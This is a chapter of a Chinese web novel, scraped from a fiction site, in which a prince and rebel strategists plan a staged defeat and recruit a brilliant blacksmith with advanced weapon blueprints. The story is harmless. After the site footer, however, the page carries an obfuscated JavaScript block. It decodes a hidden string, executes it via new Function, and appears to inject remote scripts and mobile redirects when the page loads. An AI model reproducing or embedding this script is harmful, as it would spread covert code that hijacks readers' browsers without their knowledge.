第42章 万物无非我造
景州府衙。
大堂之内,校场那股铁与血的煞气被无形的手抹去。
取而代之的,是一种更为沉凝、压抑的氛围。
诸葛凡走在最前,却在主位前一步停下。
他没有落座,而是侧过身,对着苏承锦身旁的顾清清,脸上依旧是那副春风和煦的笑意,伸手做了一个“请”的姿势。
那个位置,就在主位之侧,是帅帐之内,除主帅外的第一席位。
此举,不言而喻。
吕长庚和花羽交换了一个眼神,前者憨厚,后者促狭,都憋着笑。
顾清清那张一向清冷的脸颊,终于浮现出一抹无可奈何。
她看了一眼笑意吟吟的诸葛凡,又瞥了一眼旁边正饶有兴致看戏的苏承锦。
最终没有推辞,落落大方地在苏承锦旁边的位置坐下。
苏承锦环视一圈。
左手边,是关临、庄崖,还有他那两个已经褪去所有稚气,身形笔挺如松的少年,苏知恩与苏掠。
右手边,则是诸葛凡、赵无疆、吕长庚,以及那个神情已经恢复玩世不恭的花羽。
一个真正属于他的,初具雏形的班底。
苏承锦的指节,在冰凉的木桌上轻轻敲击,发出“叩、叩”的轻响,仿佛敲在每个人的心上。
大堂内,所有人的目光都汇聚在他身上。
“我要回去交差,需要两个理由。”
苏承锦的声音很轻,却让堂内瞬间落针可闻。
“第一,叛乱的原因。”
“这个好解决。”
他淡淡道:“就说景州官员贪腐,横征暴敛,民不聊生,你们为求活路,不得已而为之。”
“这个理由,朝中无人敢深究。”
“因为一查,就是拔出萝卜带出泥,不知多少人的乌纱帽要跟着掉。”
苏承锦顿了顿。
“第二个理由。”
他的目光陡然锐利,像两把无形的刀,剖开问题的核心。
“你们这身远超大梁制式军备的兵甲,从何而来?”
这个问题一出,连一向沉稳的赵无疆,眼皮都跳了一下。
这才是最要命的死穴。
私造军械,形同谋逆,是足以让九族消亡的滔天大罪。
诸葛凡脸上的笑意却丝毫不减,羽扇轻摇,仿佛在说一件微不足道的小事。
“此事,便甩给大鬼国。”
“就说我等起兵之后,曾有大鬼国的商人秘密前来接洽。”
“意图用兵甲粮草,换取景州作为他们南下的跳板。”
“我等与其虚与委蛇,暂作应允。”
“如此一来,殿下不仅平叛有功,更有挫败外敌阴谋、护国有功的双重功绩。”
苏承锦的嘴角,终于勾起一抹满意的弧度。
这个诸葛凡,确实是个人才。
这个理由,不仅完美地解释了装备的来源,还将这盆脏水,不偏不倚地泼回了最大的敌人身上,甚至还顺手给他送上了一份谁也无法辩驳的天大功劳。
皇帝就算心有怀疑,在这份“功绩”面前,也只能捏着鼻子认了。
“很好。”
苏承锦的目光扫过众人。
“理由解决了,剩下的,就是兄弟们如何安然退走。”
“我打算,让你们九人,各自带一曲人马,分头离开。”
他的手指,在桌面上虚画着,一条条隐秘的迁徙路线在众人脑中成型。
“不走官道,绕行缙州,最终在樊梁城以东二十里的瞿阳山汇合。”
“那里地势险要,易守难攻,且人迹罕至,正好用来整合训练。”
“待到时机成熟,再化整为零,分批赶赴关北。”
顾清清清冷的眸子里,闪过一丝赞许。
“可行。”
“如此一来,既能避开朝廷耳目,也能在途中让各部人马相互磨合,为日后的整编打下基础。”
苏承锦看向诸葛凡等人。
“诸位,可有异议?”
赵无疆、吕长庚等人对视一眼,皆是摇头。
这个计划,周密而稳妥,他们想不出更好的办法。
见众人都没有意见,此事便就此定了下来。
诸葛凡的羽扇停了一瞬,他看着苏承锦,眼中带着一丝玩味的笑意。
“殿下,计划虽好,可我们这叛军,总不能凭空消失吧?”
“您这位平叛主将,若是就这么让我们走了,恐怕不好向朝廷,更不好向您的那位皇子妃交代。”
苏承锦看着他那副看好戏的模样,无奈地苦笑一声,摊了摊手。
“是啊。”
“现在确实还不能冒头。”
“而且,这场胜利,必须赢得‘合情合理’,赢得让他们所有人都挑不出半点毛病。”
诸葛凡点了点头,脸上的笑意更深了。
“殿下麾下以外的人,并不知道我们还有多少兵马。”
“殿下回去之后,只需对外宣称,和谈破裂,我等冥顽不灵,不日便要发起总攻。”
“届时,我自会安排。”
“一场惊天动地的喊杀声后,我军‘溃败’而逃,殿下则可顺势接管景州,大获全胜。”
苏承锦闻言,彻底放松下来,整个人懒洋洋地靠在椅背上。
“既然如此,那接下来的事情,就全权交给诸葛先生了。”
“我便老老实实地,当个甩手掌柜。”
诸葛凡看着他这副模样,脸上的肌肉忍不住抽了抽。
这位殿下,进入角色的速度,未免也太快了些。
他只能无奈地点头应下。
随后,众人又详细商议了各部撤离的路线、时间,以及由谁带队等诸多细节。
一个个名字被定下。
一张无形的大网,在这次会议中,悄然铺开。
待所有事情都安排妥当,众人纷纷起身离去,各自准备。
大堂之内,很快便只剩下苏承锦与诸葛凡二人。
苏承锦伸了个懒腰,正准备动身返回安翎山大营。
他可不想让江明月等急了。
“殿下,留步。”
诸葛凡的声音,自身后传来。
苏承锦回头,挑了挑眉。
只见诸葛凡脸上挂着一丝神秘的笑意。
“殿下对那批兵刃,不好奇吗?”
“可有兴趣,随我去见见那位锻造它们的人?”
苏承锦的眼睛,瞬间亮了。
干戚。
那个诸葛凡口中,除了打铁什么都不在乎的疯子。
他对这个只闻其名,未见其人的锻器大师,确实充满了兴趣。
“当然。”
苏承锦当即答应下来。
他跟着诸葛凡,没有走府衙正门,而是穿过几条僻静的小巷,来到了一处被高墙围起的院落前。
这里,曾是景州官府的兵器作坊。
还未走近,滚烫而粘稠的热浪便扑面而来,一阵阵狂乱的金属撞击声,像一场永不停歇的暴雨,砸在耳膜上。
推开那扇厚重的木门。
一个被火焰与钢铁统治的世界,轰然撞入眼帘。
数十个火炉喷吐着赤红的舌头,空气被炙烤得扭曲,光线都在微微颤抖。
赤着上身的学徒们挥汗如雨,风箱发出沉重的喘息,小锤修整兵刃雏形的敲击声此起彼伏,构成一曲狂野的交响。
而在这片嘈杂与灼热的中心。
一个精瘦的男人,正挥舞着一柄与他身形极不相称的巨锤。
他赤着上身,古铜色的皮肤在火光下泛着油亮的光泽,每一块肌肉都像是用铁水浇筑而成,充满了爆炸性的力量。
每一次挥锤,都带着风雷之声。
每一次落下,都精准地砸在烧红的铁胚上,溅起万千星火。
然而,最让苏承锦感到讶异的,是他的脸。
那是一张与他这身钢筋铁骨截然不同的脸。
面容清秀,鼻梁高挺,若非眼中的那份火焰般的专注,说他是个手无缚鸡之力的书生,也绝不为过。
书生脸,金刚身。
这巨大的反差,让苏承锦的目光,再也无法从他身上移开。
诸葛凡与苏承锦都没有开口,只是静静地站在一旁,没有去打扰那份属于匠人的专注。
直到那精瘦男子将手中的铁胚锻打成一柄长刀的雏形,用铁钳夹起,猛地刺入旁边盛满冷水的木桶中。
“嗤——”
刺耳的嘶鸣声中,大股白色的水汽蒸腾而上,瞬间弥漫开来。
做完这一切,他才仿佛耗尽了所有力气,将手中的巨锤随手一扔。
“哐当!”
巨锤落地,砸得地面都震了一震。
他直起身,随手拿起挂在一旁的布巾,擦拭着脸上的汗水。
也直到这时,他才终于将目光,投向了站在不远处的诸葛凡。
他完全无视了旁边的苏承锦。
“今天怎么有空来这儿了?”
他的声音有些沙哑,像被砂纸磨过。
说完,自己则走到院角的桌旁,拎起一个大水瓢,舀起凉水,咕咚咕咚地灌了下去。
诸葛凡笑着走上前,将所有的事情,简明扼要地说了一遍。
干戚喝水的动作,没有丝毫停顿。
直到将一瓢水喝干,他才用手背抹了抹嘴。
然后,他那双古井无波的眼睛,才终于转向了苏承锦。
也仅仅是看了一眼。
便挪开了。
他重新拎起那柄沉重的巨锤,扛在肩上,声音平淡得听不出任何情绪。
“我不走。”
“这里有铁,有火。”
“我的仗,就在这里打。”
“你们去哪,都行。”
说完,他便转身,走向另一个火炉,那里,一块新的铁胚已经被烧得通红。
仿佛刚才的对话,不过是一阵吹过耳边的风。
诸葛凡对着苏承锦,无奈地摊了摊手,脸上满是苦笑。
“殿下,您看到了。”
“他就是这个性子,我也没办法。”
苏承锦却笑了。
他没有丝毫的恼怒,反而对这个叫干戚的铁匠,愈发欣赏。
这是一个纯粹的人。
一个将所有生命与热情,都倾注于自己所爱之事的人。
这样的人,值得尊敬。
苏承锦没有去打扰他,而是走到了那个刚刚完成淬火的木桶旁。
一名学徒正小心翼翼地,将那柄新生的长刀从水中捞起。
苏承锦伸出手。
“我看看。”
那学徒愣了一下,下意识地看向诸葛凡。
见诸葛凡点头,他才恭恭敬敬地,将手中的长刀递了过去。
刀身入手,微沉。
苏承锦的指尖,轻轻拂过刀身。
一种冰凉而坚韧的质感,从指尖直透心底。
他将刀举起,对着天光。
刀身之上,一道道细密如发丝的暗纹,在光线下若隐若现,流转不定。
这是百炼钢!
而且是经过无数次折叠锻打,将钢材中的杂质尽数逼出,才可能形成的纹理。
屈指轻弹。
“嗡——”
一声清越悠长的鸣响,在院中回荡不休。
好刀!
苏承锦的眼中,爆发出一种前所未有的光亮。
这个干戚,确实是个鬼才!
“殿下,我们……”
诸葛凡在一旁低声开口,想劝苏承锦离开。
苏承锦却摆了摆手,打断了他。
他依旧看着手中的长刀,脸上露出了一个让诸葛凡都感到陌生的,近乎狂热的笑容。
苏承锦将那柄长刀递还给学徒,动作不急不缓。
他的目光,却始终锁在那个走向火炉的精瘦背影上。
他转头,看向诸葛凡。
“给我纸笔。”
诸葛凡眼皮猛地一跳。
他看懂了苏承-锦脸上那抹志在必得的笑意,心头一动,立刻点头,吩咐人取来笔墨纸砚。
一张简陋的木桌很快被搬到院中阴凉处。
上好的宣纸铺开,墨香混合着铁与火的燥热气息,在空气中诡异地交融。
苏承锦执笔,手腕悬空。
他没有半分犹豫,笔尖落下,流畅而精准的线条在雪白的纸上迅速延伸。
没有画山水,亦非绘人物。
那是一张张充满了直线、弧线、齿轮与榫卯结构的精密图样。
第一张图纸,是刀。
图中详细分解了一柄长刀从刀胚到成品的每一个步骤,旁边用蝇头小楷标注着一行行匪夷所思的文字。
“百炼钢堆叠锻打,取精铁与熟铁,折叠三百六十次……”
“覆土烧刃,淬火后可得刚柔并济之效……”
第二张,是弩。
它不再是一把完整的弩,而是被拆分成一个个独立的部件:弩臂、弩机、扳机、瞄准具……每一个部件都标注着精确的尺寸,仿佛只要照着图纸,就能像拼积木一样组装起来。
这是一种闻所未闻的模块化理念!
第三张,第四张……
苏承锦的笔尖未停,一张张足以颠覆这个时代兵器认知的图纸,从他笔下疯狂流淌而出。
诸葛凡站在一旁,从最初的好奇,到后来的凝重,最终,他那双总是带着温和笑意的眸子里,只剩下了深不见底的惊骇。
他不懂锻造。
但他看得懂那些图纸所代表的意义。
一种将战争兵器提升到艺术层面的恐怖构想!
终于,苏承锦停了笔。
他将最后一张图纸上的墨迹吹干,然后拿起那四五张薄薄的纸,走向那个依旧在挥汗如雨的男人。
干戚正全神贯注地锻打着一块新的铁胚,对周遭的一切充耳不闻。
苏承锦也不说话,只是将手中的图纸,递到他眼前。
他眉毛轻佻。
“看看?”
干戚的眉头狠狠皱起,眼中闪过一丝被打扰的不悦。
他本想挥手打开,可眼角的余光,却被图纸上一个熟悉的齿轮结构吸引。
他的动作,僵住了。
“哐当!”
巨锤脱手,砸在地上,发出震耳欲聋的巨响。
整个工坊狂乱的敲击声,在这一刻戛然而止。
干戚一把夺过苏承锦手中的图纸,那双总是燃烧着火焰的眼睛,死死地钉在纸上。
他的呼吸,瞬间变得粗重。
他那张清秀的脸,因为极致的激动而涨得通红。
他的手指,抚过图纸上“堆叠大马士革”的锻造流程,指尖在微微颤抖。
他看到的不是一张图纸。
那是一扇通往神明领域的大门!
他猛地抬起头,那双眼睛里燃烧的,是比锻炉中的火焰更炽热、更疯狂的光芒。
他死死盯着苏承锦,沙哑的声音里带着不敢置信的颤音。
“你……想出来的?”
诸葛凡见干戚这副失魂落魄的模样,也快步走了过来,从他手中拿起另一张图纸。
他虽看不懂其中精髓,但仅从那模块化弩机的设计上,便嗅到了一股足以改变战争格局的可怕气息。
他看向干戚,沉声问道:“如何?”
干戚没有回答。
他扔下手中的图纸,大步流星地走到桌旁,将剩下的图纸一张张仔细看过去。
越看,他眼中的光芒就越亮。
越看,他身体的颤抖就越剧烈。
看完最后一张,他缓缓抬起头,看向诸葛凡,又看向苏承锦,一字一句,字字如金石落地。
“若能锻出……”
“可改世道。”
一句话,让诸葛凡的瞳孔,骤然收缩。
能让干戚说出这句话,这些图纸的价值,已经超出了他的想象!
苏承锦笑了。
他走到干戚身边,看着这个已经彻底陷入痴迷状态的锻造疯子。
“这些,只是一部分。”
他的声音带着致命的诱惑,如同恶魔在耳边低语。
“我还有许多想法,可以让你疯狂。”
“与其窝在这里,当个不为人知的小铁匠,不如跟我走,去打造一个属于你的神兵时代。”
干戚脸上的表情,平静了下来。
那份狂热被他死死压在眼底深处。
他转头,看向诸葛凡。
“何时动身?”
“我收拾东西。”
诸葛凡嘴角的肌肉狠狠抽搐了一下。
刚刚那股“我不走,我的仗就在这里打”的决绝气概呢?
你不是我认识的那个干戚!
他只能无奈地点头,示意手下,立刻为干戚安排好一切随行的事宜。
苏承锦与诸葛凡二人,并肩走出了这片被火焰与钢铁统治的院落。
走在出城的路上,诸葛凡看着苏承锦,脸上满是无奈的苦笑。
“殿下,你这脑子里,到底还藏着多少东西?”
苏承锦摆了摆手,神情恢复了那份懒散随性。
“拾人牙慧罢了。”
“这些东西,都是我从一本残破的古籍上学来的,只不过那本书,现在已经看不到了。”
“倘若你有兴趣,日后我慢慢讲给你听。”
诸葛凡笑着点头,没有再追问。
他知道,每个人都有自己的秘密。
这位九殿下的秘密,恐怕比他想象的,还要深不可测。
两人很快便走到了景州城门口。
苏承锦摆了摆手,示意他不用再送。
他潇洒地翻身上马,动作行云流水。
诸葛凡站在城门下,对着马上的苏承锦,郑重其事地躬身一礼。
“殿下,你我,樊梁再见。”
苏承锦笑着看了他一眼,缰绳一抖。
“走了!”
马蹄扬起,卷起一阵尘土,那道身影如离弦之箭,向着安翎山大营的方向,疾驰而去。
夕阳的余晖,将江面染成一片破碎的金色。
江明月坐在江边的一块大石上,百无聊赖地将一颗颗石子扔进水中,看着它们激起一圈圈涟漪。
她的嘴里,正小声地念叨着。
“该死的苏承锦,臭苏承锦!”
“明明是他自己要去见那个叛军军师,非要扯上我的名头,说是见我。”
“害得我连大营都不能待,只能跑到这鸟不拉屎的地方来吹风!”
“等你回来,看我怎么收拾你!”
她一边骂着,一边又忍不住抬头,望向景州城的方向。
天色,已经渐渐暗下来了。
眼看日头即将完全沉入地平线,江明月终于坐不住了。
“应该差不多了,我现在回营,应该没什么问题。”
她自言自语着,翻身上马,向着安翎山大营策马而去。
待她回到营门口,两道身影便急匆匆地迎了上来。
正是左偏将陈亮,和长风骑统领云烈。
“副将!”
陈亮一脸急切地问道:“今日,谈得如何?”
江明月嘴唇动了动,差点脱口而出“我哪知道”。
她硬生生将话咽了回去,脸上装出一副高深莫测的模样,淡淡道:“此事,我需要仔细理一理,晚些时候再与你们细说。”
她话锋一转。
“苏承锦……殿下可回来了?”
云烈摇了摇头。
“九殿下还未回营。”
江明月的心,猛地向下一沉。
脸上那份强装的镇定,瞬间出现了一丝裂痕。
他怎么还没回来?
江明月的心里,没来由地升起一丝担忧。
不会……出什么事了吧?
那个家伙,虽然嘴上没个正经,但毕竟是单枪匹马。
万一……
她不敢再想下去。
就在她心乱如麻之际,一名负责瞭望的亲兵,突然发出一声惊喜的呼喊。
“殿下回来了!殿下回来了!”
江明月脸上一喜,那份发自内心的喜悦,连她自己都未曾察觉。
她几乎是下意识地,夺步而出,冲向营门口。
当看到那个熟悉的策马归来的身影时,她才猛地惊醒,连忙收起脸上的喜色,换上一副不悦的神情。
她双手抱胸,斜倚在营门边,等着那人走近。
苏承锦翻身下马,一眼就看到了她。
“去哪了?才回来?”
江明月的声音里,带着她自己都没察觉到的酸意。
“不会是去见你的哪个小情人了吧?”
然而,苏承锦并没有像往常一样,笑着跟她斗嘴。
他的脸上,带着一股压抑不住的愁容与怒气。
他甚至没有看江明月,只是沉着脸,径直从她身边走过,向着中军大帐走去。
江明月愣住了。
她看着他那紧绷的背影,心中的调侃瞬间烟消云散,取而代之的,是一种不祥的预感。
她不再犹豫,立刻跟了上去。
二人一前一后,走入中军大帐。
江明月反手将帐门关上,隔绝了外界所有的视线。
“出事了?”
她的声音,带着紧张。
苏承锦一言不发,走到桌旁,端起一杯早已凉透的茶水,一饮而尽。
然后,在江明月惊愕的目光中,他猛地将手中的茶杯,狠狠摔在地上!
“啪!”
清脆的碎裂声,在寂静的营帐内,显得格外刺耳。
“这群叛军,不知好歹!”
苏承锦的声音里,充满了滔天的怒火。
“他们竟然狮子大开口,要我们出二百万两白银,才肯撤军!”
“和谈,破裂了!”
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();